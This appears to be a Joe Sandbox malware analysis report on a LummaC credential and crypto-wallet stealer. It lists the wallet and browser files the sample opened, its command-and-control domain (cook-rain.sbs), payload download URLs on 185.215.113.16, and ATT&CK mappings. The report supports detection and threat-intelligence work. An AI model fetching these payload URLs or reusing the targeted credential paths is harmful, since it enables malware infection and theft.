Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5728, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5728, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 Query Registry	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/K	100%	Avira URL Cloud	malware
https://cook-rain.sbs/api_	100%	Avira URL Cloud	malware
https://cook-rain.sbs/H	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apim	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apigs	100%	Avira URL Cloud	malware
https://cook-rain.sbs/g	100%	Avira URL Cloud	malware
https://cook-rain.sbs/ordpas	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.228	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_111.8.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/K	file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302227116.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/H	file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_111.8.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_111.8.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_103.8.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_111.8.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_111.8.dr	false		high
https://cook-rain.sbs/g	file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_111.8.dr, chromecache_112.8.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://github.com/gewarren	chromecache_111.8.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2563177250.00000000008FB000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2286934229.000000000539F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_111.8.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_111.8.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_111.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apim	file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://aka.ms/certhelp	chromecache_91.8.dr, chromecache_103.8.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2563595957.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334176878.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_111.8.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_103.8.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2286983594.0000000005686000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_111.8.dr	false		high
https://cook-rain.sbs/apigs	file.exe, 00000000.00000003.2302227116.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_111.8.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://cook-rain.sbs/ordpas	file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/adegeo	chromecache_111.8.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2285823583.000000000546D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_91.8.dr, chromecache_103.8.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2563595957.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_111.8.dr	false		high
https://channel9.msdn.com/	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2260783960.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260355434.00000000053AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2298164088.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298502039.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_91.8.dr, chromecache_103.8.dr	false		high
https://cook-rain.sbs/api_	file.exe, 00000000.00000003.2365471748.0000000000C34000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2312070276.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302227116.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2365309306.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298524080.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2285635426.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2334176878.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2302768301.0000000000C34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559127
Start date and time:	2024-11-20 08:11:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 184.28.89.167, 142.250.184.195, 172.217.23.110, 64.233.184.84, 95.101.150.2, 34.104.35.123, 20.189.173.13, 142.250.74.202, 142.250.186.106, 142.250.186.42, 142.250.184.234, 142.250.186.138, 172.217.18.10, 216.58.206.74, 172.217.16.202, 142.250.185.202, 142.250.185.74, 142.250.185.170, 216.58.212.170, 142.250.186.74, 142.250.185.138, 216.58.212.138, 172.217.23.106, 2.19.126.156, 2.19.126.137, 13.74.129.1, 13.107.21.237, 204.79.197.237, 20.42.65.89, 142.250.185.110
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, onedscolprdwus12.westus.cloudapp.azure.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, azureedge-t-prod
Execution Graph export aborted for target file.exe, PID 5728 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:12:21	API Interceptor	16x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.42	https://protect-us.mimecast.com/s/FVibCzpzxLsxEMXAhgAOBC	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
	http://border-fd.smartertechnologies.com/	Get hash	malicious	Unknown	Browse	border-fd.smartertechnologies.com/
	https://protect-us.mimecast.com/s/4MrPCrkvgotDWxrNCzxa8p	Get hash	malicious	Unknown	Browse	www.mimecast.com/
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0014.t-0009.t-msedge.net	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://www.amtso.org/check-desktop-phishing-page/	Get hash	malicious	Unknown	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	INVOICE DUE.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	PO-54752454235.hta	Get hash	malicious	Remcos	Browse	13.107.246.42
	http://frenzelit.powerappsportals.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.42
	https://gen-techs.site/s/ind.html#123@123.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://app.bitdam.com/api/v1.0/links/rewrite_click/?rewrite_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyZXdyaXRlX2lkIjoiNjcyOGQ2YzliOTFmMDRhNDE1NjM3NTRhIiwidXJsIjoiIiwib3JnYW5pemF0aW9uX2lkIjo1ODQwfQ.Uhd2nS1gN1sUzvqpPDTmoAH1ZU9vF-hNz1sM06cv-iA&url=https%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.ro/url%3Fq%3Dhttps%3A//www.google.nl/url%3Fq%3DZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%6E%65%77%68%6F%6D%65%73%76%6E%2E%63%6F%6D%2F%63%67%69%2F/3we/Y29saW4uZ3JhbnRAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.42
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
s-part-0017.t-0009.t-msedge.net	PO-000041492.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
